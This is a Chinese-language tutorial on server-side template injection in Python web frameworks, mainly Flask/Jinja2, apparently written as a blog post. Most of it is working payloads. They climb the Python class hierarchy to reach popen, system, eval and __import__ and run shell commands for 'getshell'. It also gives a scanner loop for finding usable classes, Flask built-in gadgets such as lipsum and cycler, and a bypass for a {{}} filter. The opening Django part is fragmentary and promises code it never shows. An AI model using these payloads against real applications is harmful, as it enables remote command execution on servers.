漏洞成因
在使用django框架进行web应用设计时,不规范的代码使用。
常用的的dgango代码为:
还可以设置动态网址,
python使用的web框架可以使用以下方法进行测试
攻击链相关类的说明
1.构建父类
''.__class__()
2.构建obg子类
obj.__ bases__()[0]
3.寻找obj的子类
obj.__subclasses__()
使用1,2,3,就可以构建一个寻找函数的攻击链,然后利用返回函数,看是否有漏洞,具体语句为:
''.__class__.__bases__[0].__subclasses__()
4.寻找类的地址
# 输入类的名字
''.__class__.__bases__[0].__subclasses__()[k]
# 寻找类的地址
''.__class__.__bases__[0].__subclasses__()[k].__init__
# 寻找所有全局变量,函数名称的字典,格式为[name:地址或值]
''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']
# 调用类的静态变量或者静态函数
''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('ls').read()
''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['system']('ls')
构造攻击函数链
总结,找到eval、popen、__import__函数,就可以进行getshell
os类里面有popen函数
__builtins__里面有eval、__import__方法
flask内置方法
方法1:
直接调用popen函数,_wrap_close类里面有popen函数
''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
或者system函数
比如
''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['os'].system('dir')
方法2:
查找有无os的基类,如linecache
''.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()
对于os基类的寻找,可以使用下面代码:
for i,k in zip(range(len(''.__class__.__bases__[0].__subclasses__())),''.__class__.__bases__[0].__subclasses__()):
try:
if k.__init__.__globals__['os']:
print(k)
print(i)
except:
pass
方法3:
使用__import__函数手动导入了os类
''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__import__']('os').popen('whoami').read()
方法4:
调用builtins类下的多个函数,比如eval和__import__(推荐:这里可以用的类比较多,使用方法2的代码进行查询)
这里以eval为例
''.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
以__import__为例,推荐使用__globals__[‘builtins’][‘import’]的格式,直接使用.__import__本地会报错。
''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('dir').read()
方法5:
使用flask内置函数,其内置函数可以通过下面代码查看
{{self.__dict__._TemplateReference_context.keys()}}
然后可以简洁代码
# 存在漏洞的函数如下
lipsum、url_for、get_flashed_messages
# 存在漏洞的类如下
cycler,joiner、namesapce、config、request、session
# 函数利用方式如下
lipsum.__globals__['os'].popen('ls').read()
# 类利用方式如下
cycler.__init__.__globals__['os'].popen('ls').read()
{{}}过滤绕过
使用{% xxx %}即可